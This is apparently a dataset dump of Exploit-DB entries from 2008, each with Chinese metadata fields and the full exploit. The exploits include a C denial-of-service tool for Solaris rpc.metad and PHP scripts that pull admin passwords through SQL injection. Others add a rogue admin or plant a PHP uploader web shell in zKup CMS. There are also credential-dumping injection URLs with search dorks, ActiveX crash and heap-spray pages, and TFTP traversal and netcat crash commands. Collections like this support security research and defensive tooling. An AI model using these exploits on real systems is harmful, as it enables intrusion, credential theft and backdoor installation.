QLWD/code_shield huggingface dataset:
标题: SunOS 5.10 Sun Cluster - 'rpc.metad' Denial of Service (PoC) EDB-ID: 5258 CVE: 2008-1480 类型: DOS 平台: SOLARIS 发布日期: 2008-03-14 漏洞利用脚本: /*##########################################################*/
/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC              #*/
/*## causes DoS on rpc.metad                         #*/
/*## (C) 2008 - Kingcope                                   #*/
/*##########################################################*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

extern int optarg;

#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
    if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=1,vers=0,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("rpc.metad for solaris 10\n\n");

    if(argc<2){
        printf("usage: %s address\n",argv[0]);
        exit(-1);
    }

    printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC);

    printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }
    cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

    memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
    buffer[3000]=0;

    req.string=buffer;

    stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
    if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
    printf("sent!\n"); /* if(!flag) exit(0);*/

    }
}

// milw0rm.com [2008-03-14] URL: https://www.exploit-db.com/exploits/5258
标题: phpMyNewsletter 0.8b5 - 'msg_id' SQL Injection EDB-ID: 5231 CVE: 2008-1295 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-10 漏洞利用脚本: #!/usr/bin/php
<?php
/*
 * Name:    PHPMyNewsletter <= 0.8b5 SQL Injection
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * Date:    03-10-08
 * Conditions: magic_quotes_gpc=Off
 *
 * This exploit gets admin_pass and admin_email from pmnl_config.
 */
 
print "\n";
print "   PHPMyNewsletter <= 0.8b5 SQL Injection\n";
print "       by real <charlesfol[at]hotmail.fr>\n\n";
 
if($argc<2) die("usage: php phpmynewsletter_sql.php <url>\n");
$url  = $argv[1];

$c = get($url."archives.php?msg_id='%20UNION%20SELECT%201,1,admin_email,admin_pass%20%20FROM%20pmnl_config%2f%2a&list_id=1");

if(preg_match("#<div class='archivetitle'>(.+) - 0000-00-00 00:00:00</div>#i",$c,$a) && preg_match("#<div class='subcontent'>\t([a-f0-9]{32})</div></div>#i",$c,$b))
{
 print "[*] Mail:\t$a[1]\n";
 print "[*] Password:\t$b[1]\n";
}
else
{
 print "[*] Exploit failed\n";
}

function get($url,$get=1)
{
 $result = '';
 preg_match("#^http://([^/]+)(/.*)$#i",$url,$infos);
 $host = $infos[1];
 $page = $infos[2];
 $fp = fsockopen($host, 80, &$errno, &$errstr, 30);
 
 $req  = "GET $page HTTP/1.1\r\n";
 $req .= "Host: $host\r\n";
 $req .= "User-Agent: Mozilla Firefox\r\n";
 $req .= "Connection: close\r\n\r\n";

 fputs($fp,$req);
 
 if($get) while(!feof($fp)) $result .= fgets($fp,128);
 
 fclose($fp);
 return $result;
}

?>

# milw0rm.com [2008-03-10] URL: https://www.exploit-db.com/exploits/5231
标题: acronis pxe server 2.0.0.1076 - Directory Traversal / Null Pointer EDB-ID: 5228 CVE: 2008-1411 2008-1410 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-10 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Acronis PXE Server
              http://www.acronis.com/enterprise/products/snapdeploy/
Versions:     <= 2.0.0.1076
Platforms:    Windows
Bugs:         A] directory traversal
              B] NULL pointer
Exploitation: remote
Date:         08 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


The Acronis PXE Server is an essential component of Acronis Snap Deploy
Server, a deployment solution for automatically configuring all the
clients of the local network.


#######################################################################

=======
2) Bugs
=======

----------------------
A] directory traversal
----------------------

The PXE Server (pxesrv.exe) implements a TFTP server for allowing the
downloading of the bootstrap files (uploading is not allowed).
This service is vulnerable to a classical directory traversal and an
arbitrary path attacks which allow an attacker to download any file
from the local disks or the network shares.


---------------
B] NULL pointer
---------------

An incomplete TFTP request (anything which goes from the simple absence
of the option field to the usage of only the 2 bytes for the opcode)
causes the crashing of the PXE Server due to a NULL pointer access.


#######################################################################

===========
3) The Code
===========


A]
http://aluigi.org/testz/tftpx.zip

  tftpx SERVER ..\../..\../boot.ini none
  tftpx SERVER c:\boot.ini none
  tftpx SERVER \\internal_host\documents\file.txt none

B]
send the bytes 00 01 to UDP port 69 of the server:

  echo -n -e \x00\x01|nc SERVER 69 -v -v -u



#######################################################################

======
4) Fix
======


No fix


#######################################################################

# milw0rm.com [2008-03-10] URL: https://www.exploit-db.com/exploits/5228
标题: phpBB Mod FileBase 2.0 - 'id' SQL Injection EDB-ID: 5236 CVE: 2008-1305 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-11 漏洞利用脚本: --==+================================================================================+==--
--==+      [phpBB MOD] FileBase SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--


AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: inurl:"filebase.php" "Powered by phpBB"


DESCRIPTION: 


EXPLOITS:
filebase.php?d=1&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,concat(username,char(58),user_password),12,13,14/**/FROM/**/phpbb_users/*


NOTE/TIP: 
phpbb prefix may need changining.


GREETZ: milw0rm.com, h4ck-y0u.org !


--==+================================================================================+==--
--==+      [phpBB MOD] FileBase SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2008-03-11] URL: https://www.exploit-db.com/exploits/5236
标题: Bloo 1.00 - Multiple SQL Injections EDB-ID: 5234 CVE: 2008-1313 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-11 漏洞利用脚本: --==+================================================================================+==--
--==+      Bloo - Object Oriented Blog Software <= v.1.00 Remote Sql Injection     +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: Bloo - Object Oriented Blog Software <= v.1.00 Remote Sql Injection 
 Download: http://sourceforge.net/project/showfiles.php?group_id=160870
 Bug: Remote Sql Injection
 Info: Bloo is a free, public-domain, object-oriented implementation of full-featured blog software, based on the Phoo Phramework. You can visit the Bloo home wiki at http://outofthebloo.com.
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

Bloo - Object Oriented Blog Software <= v.1.00 present more sql injection...

http://www.example.com/index.php?post_id=1+union+select+1,concat(login_id,char(58),password),3,4,5,6,7,8+from+bloo_user/*

http://www.example.com/index.php?post_category_id=1+union+select+1,2,3,4,concat(login_id,char(58),password),6,7,8+from+bloo_user/*

http://www.example.com/index.php?post_year_month=[NumberIdOfExistentPost]+union+select+1,2,3,4,concat(login_id,char(58),password),6,7,8+from+bloo_user/*

http://www.example.com/index.php?static_page_id=1+union+select+1,user(),3,4,5,6/*

etc...

etc... 

etc...

I think there are other sql injection in this blog lol

[*]----------------------------------------------------------

# milw0rm.com [2008-03-11] URL: https://www.exploit-db.com/exploits/5234
标题: XOOPS Module My_eGallery 3.04 - 'gid' SQL Injection EDB-ID: 5242 CVE: 2008-7038 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: ##########################################
#
# XOOPS Module My_eGallery 3.04
#
#download=http://webscripts.softpedia.com/script/Modules/Other-Modules/My-eGallery-dev-8113.html
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"modules/my_egallery"
#
###########################################
EXPLOIT :

modules/my_egallery/index.php?do=showgall&gid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3,4,5,6/**/from+xoops_users/*


###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-12] URL: https://www.exploit-db.com/exploits/5242
标题: KingSoft - 'UpdateOcx2.dll SetUninstallName()' Heap Overflow (PoC) EDB-ID: 5225 CVE: 2008-1307 类型: DOS 平台: WINDOWS 发布日期: 2008-03-10 漏洞利用脚本: <!--
KingSoft UpdateOcx2.dll SetUninstallName() Heap Overflow Exploit

Date: 2008-02-29
MSN: void[at]ph4nt0m[dot]org
http://www.ph4nt0m.org

æ–‡ä»¶è·¯å¾„: C:\WINDOWS\system32\KingSoft\KOS\UpdateOcx2.dll
æ–‡ä»¶æè¿°: Kingsoft Antivirus Online Update Module
æ–‡ä»¶ç‰ˆæœ¬: 2007,12,29,29
-->

<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target1'></object>
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target2'></object>
<script>
var str1 = "";
while (str1.length < 914)
{ str1 += unescape("%u0c0c");
}
target1.SetUninstallName(str1);
</script>

<!--
.text:1000737B ; DWORD __stdcall SetUninstallName(LPVOID this_ptr, LPVOID bsUninstallName)
.text:1000737B SetUninstallName proc near              ; DATA XREF: .rdata:1003186C o
.text:1000737B                                         ; .rdata:10031A64 o
.text:1000737B
.text:1000737B this_ptr        = dword ptr 4
.text:1000737B bsUninstallName = dword ptr 8
.text:1000737B
.text:1000737B                 mov     eax, [esp+this_ptr]
.text:1000737F                 push    [esp+bsUninstallName]
.text:10007383                 add     eax, 20h
.text:10007386                 mov     ecx, [eax]
.text:10007388                 push    eax
.text:10007389                 call    dword ptr [ecx+20h] ; æ­¤å¤„è·Ÿè¿› 10012278
.text:1000738C                 xor     eax, eax
.text:1000738E                 retn    8
.text:1000738E SetUninstallName endp


.text:10012278 ; =============== S U B R O U T I N E =======================================
.text:10012278
.text:10012278
.text:10012278 ; int __stdcall Vul_Func(int, wchar_t *Source)
.text:10012278 Vul_Func        proc near               ; DATA XREF: .rdata:10032D3C o
.text:10012278
.text:10012278 arg_0           = dword ptr 4
.text:10012278 Source          = dword ptr 8
.text:10012278
.text:10012278                 cmp     [esp+Source], 0
.text:1001227D                 jz      short loc_10012294
.text:1001227F                 mov     eax, [esp+arg_0]
.text:10012283                 push    [esp+Source]    ; Source
.text:10012287                 add     eax, 0D70h
.text:1001228C                 push    eax             ; Dest
.text:1001228D                 call    _wcscpy         ; æ²¡æœ‰æ£€æŸ¥ç”¨æˆ·è¾“å…¥çš„é•¿åº¦å°±,é€ æˆheap overlfow
.text:10012292                 pop     ecx
.text:10012293                 pop     ecx
.text:10012294
.text:10012294 loc_10012294:                           ; CODE XREF: Vul_Func+5 j
.text:10012294                 xor     eax, eax
.text:10012296                 retn    8
.text:10012296 Vul_Func        endp
.text:10012296
-->

# milw0rm.com [2008-03-10] URL: https://www.exploit-db.com/exploits/5225
标题: QuickTicket 1.5 - 'qti_usr.php' SQL Injection EDB-ID: 5222 CVE: 2007-3539 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-09 漏洞利用脚本: ########################################################
#            Script name: QuickTicket                  #
#            Site: http://www.qt-cute.org              #
#  Vulnerability: remote sql injection at qti_usr.php  #
#                     Download:                        #
# v 1.4: http://www.qt-cute.org/download/qti14.zip     #
# v 1.5.0.3: http://www.qt-cute.org/download/qti15.zip #
########################################################
#    Vulnerable code: (1.4 ; 1.5 is pretty the same)   #
########################################################
# <- line #43 ->
# if (isset($_GET['id'])) $id = $_GET['id'];
# 
# <- line #124-126 ->
# // -- COUNT TOPICS --
# 
# $oDB->Query('SELECT count(id) as countid FROM '.TABTOPIC.' WHERE firstpostuser='.$id);
# 
# <- line #130-132 ->
# // -- COUNT MESSAGES --
# 
# $oDB->Query('SELECT count(id) as countid FROM '.TABPOST.' WHERE userid='.$id);
# 
########################################################
#                       d0rk:                          #
########################################################
# powered by QT-cute v1.4
# powered by QT-cute v1.5
# intitle:"QT-cute"
#
########################################################
#                      exploit:                        #
########################################################
# http://site.tld/path/qti_usr.php?id=4+UNION+ALL+SELECT+0,pwd,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+qtiuser+WHERE+id+=+1--
# 
########################################################
----- ---->> >> >> croconile << << <<---- -----
^_ w4ck1ng.com crushmachine.com rmachine.net _^
    ^_   at4re.com arabteam200.com   _^
    ^_   irc.rmachine.net #w4ck1ng   _^
               ^_ m@cro.li _^

# milw0rm.com [2008-03-09] URL: https://www.exploit-db.com/exploits/5222
标题: Versant Object Database 7.0.1.3 - Commands Execution EDB-ID: 5213 CVE: 2008-1319 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-04 漏洞利用脚本: Versant server <= 7.0.1.3 Arbitrary Commands Execution Exploit

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5213.zip (2008-versantcmd.zip)

# milw0rm.com [2008-03-04] URL: https://www.exploit-db.com/exploits/5213
标题: BM Classifieds 20080409 - Multiple SQL Injections EDB-ID: 5223 CVE: 2008-1272 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-09 漏洞利用脚本: ..##.....##     
...##...##      
....##.##
.....###CoRPITX 
.....###     
....##.##
...##...##
..##.....##

########################### Turkey ####################################
#                                                                     #
#################### www.Hayalet-hack.com #############################
#
##################### www.zone-turk.net/###############################
#             
#Powered by BM Classifieds (listingid),(ad)SQL Injection Vulnerability 
#
#######################################################################
#  
#  AUTHOR : xcorpitx
#
#  HOME   : www.Hayalet-hack.com / www.zone-turk.net
#
########################################################################

########################################################################
#
#  Dork 1 : ''showad.php?listingid=''
#
#  Dork 2 : ''pfriendly.php?ad=''
#
########################################################################
#            
#  EXPLOIT: 
#
########################################################################
#
#
showad.php?listingid=xCoRpiTx&cat=-99/**/union+select/**/concat(username,0x3a,email),password,2/**/from/**/users/*
#
#
pfriendly.php?ad=-99%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0,1,concat(username,0x3a,email),password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%2F%2A%2A%2Ffrom%2F%2A%2A%2Fusers%2F%2A%2A%2F
#
#
########################################################################

Thanx :str0ke, pc faresi, s@bun,D3ng3s!z,hayalet,Turque,SmoKin

# milw0rm.com [2008-03-09] URL: https://www.exploit-db.com/exploits/5223
标题: Mambo Component eWriting 1.2.1 - 'cat' SQL Injection EDB-ID: 5226 CVE: 2008-1297 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-10 漏洞利用脚本: eWriting 1.2.1 - SQL injection

# Discovered by breaker_unit & Don

# BHack

# b4lc4n.org

# Gretz to h4cky0u.org l r00tsecurity.org l h4cky0u.biz l

Dorks:

"Powered by eWriting 1.2.1
allinurl:"com_ewriting"

Joomla!
/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+jos_users--

Mambo
/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+mos_users--

++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2008-03-10] URL: https://www.exploit-db.com/exploits/5226
标题: ICQ Toolbar 2.3 - ActiveX Remote Denial of Service EDB-ID: 5217 CVE: 2008-7136 2008-7135 类型: DOS 平台: WINDOWS 发布日期: 2008-03-06 漏洞利用脚本: <!--
 Lame ICQToolbar IE DoS - Crash IE and change toolbar color :p
-->

<html>
<object classid='clsid:855F3B16-6D32-4FE6-8A56-BBB695989046' id='toolbar' ></object>

<script language='vbscript'>
bof=String(128, "spdr")
toolbar.GetPropertyById "" ,bof

</script>
</html>

# milw0rm.com [2008-03-06] URL: https://www.exploit-db.com/exploits/5217
标题: zKup CMS 2.0 < 2.3 - Remote Add Admin EDB-ID: 5219 CVE: 2008-7124 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-07 漏洞利用脚本: #!/usr/bin/php
<?php
/*
 * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (add admin)
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * Date:    03-08-2008
 * Conditions: None.
 *
 * This exploit add a new zKup admin.
 *
 */

print "\n";
print "   zKup CMS v2.0 <= v2.3 0-day exploit (add admin)\n";
print "       by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";

if($argc<4) { print "usage: php zkup2_admin_exploit.php <url> <login> <passwd>\n   eg: php zkup2_admin_exploit.php http://127.0.0.1/votresite/ real p4ssw0rd";exit(-1); }
$url = $argv[1];
$log = $argv[2];
$pas = $argv[3];

$postit = "action=ajout&login=$log&mdp=$pas&mdp2=$pas&lvl=9";

print "[*] sending evil c0de ... ";
if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n";
else print "failed.\n";

function post($url,$data,$get=1)
{
 $result = '';
 preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
 $host = $info[1];
 $page = $info[2];
 $fp = fsockopen($host, 80, &$errno, &$errstr, 30);
 
 $req  = "POST $page HTTP/1.1\r\n";
 $req .= "Host: $host\r\n";
 $req .= "User-Agent: Mozilla Firefox\r\n";
 $req .= "Connection: close\r\n";
 $req .= "Content-type: application/x-www-form-urlencoded\r\n";
 $req .= "Content-length: ".strlen( $data )."\r\n";
 $req .= "\r\n";
 $req .= $data."\r\n";

 fputs($fp,$req);
 
 if($get) while(!feof($fp)) $result .= fgets($fp,128);
 
 fclose($fp);
 return $result;
}

?>

# milw0rm.com [2008-03-07] URL: https://www.exploit-db.com/exploits/5219
标题: zKup CMS 2.0 < 2.3 - Arbitrary File Upload EDB-ID: 5220 CVE: 2008-7124 2008-7123 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-07 漏洞利用脚本: #!/usr/bin/php
<?php
/*
 * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (upload)
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * Date:    03-08-2008
 * Conditions: PHP Version, magic_quotes_gpc=Off
 *
 * This exploit spawn a php uploader in your victim's
 * server.
 *
 * Okay, you may need explanations:
 *
 * First, we can use administration without being admin
 * (see ./admin/configuration/modifier.php)
 *
 * Then, when we add an admin, it is saved in a php file,
 * named "./fichiers/config.php".
 * A vuln is present when the script controls $login value,
 * because it use this regex: #^[a-zA-Z0-9]+$#
 * in order to see if it's alphanumerical.
 * I bypassed this regex using a NULL POISON BYTE (%00),
 * and writing my upload script just after.
 * I finally put some lines in order not to
 * corrupt config.php.
 *
 */

print "\n";
print "   zKup CMS v2.0 <= v2.3 0-day exploit (upload)\n";
print "       by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";

if($argc<2) { print "usage: php zkup2_upload_exploit.php <url>\n   eg: php zkup2_upload_exploit.php http://127.0.0.1/votresite/";exit(-1); }
$url = $argv[1];

$code = '
if(isset($_POST[\'upload\']))
{
    if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) exit("<center>Error (move_uploaded_file)</center>");
    else echo "<center>File uploaded</center>";
}
if($_GET[\'up\']==1)
{
?>
<form method="post" enctype="multipart/form-data">
<center>
<input type="file" name="file">
<input type="submit" name="upload" value="Upload">
</center>
</form>
<?php
}
';
$code = urlencode($code);

/* Not to compromise config.php work */
$restore = array();
$restore[0] = 'admin'.rand(100,200).'%00","mdp"=>"436ae61e82a236bd4771e184a556bf65","lvl"=>9);';
$restore[1] = '$tAdmin[] = array("login"=> "admin'.rand(200,300);

$postit = "action=ajout&login=$restore[0]$code$restore[1]&mdp=real&mdp2=real&lvl=9";

print "[*] sending evil c0de ... ";
if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n[*] upload script: ".$url."fichiers/config.php?up=1\n";
else print "failed.\n";

function post($url,$data,$get=1)
{
 $result = '';
 preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
 $host = $info[1];
 $page = $info[2];
 $fp = fsockopen($host, 80, &$errno, &$errstr, 30);
 
 $req  = "POST $page HTTP/1.1\r\n";
 $req .= "Host: $host\r\n";
 $req .= "User-Agent: Mozilla Firefox\r\n";
 $req .= "Connection: close\r\n";
 $req .= "Content-type: application/x-www-form-urlencoded\r\n";
 $req .= "Content-length: ".strlen( $data )."\r\n";
 $req .= "\r\n";
 $req .= $data."\r\n";

 fputs($fp,$req);
 
 if($get) while(!feof($fp)) $result .= fgets($fp,128);
 
 fclose($fp);
 return $result;
}

?>

# milw0rm.com [2008-03-07] URL: https://www.exploit-db.com/exploits/5220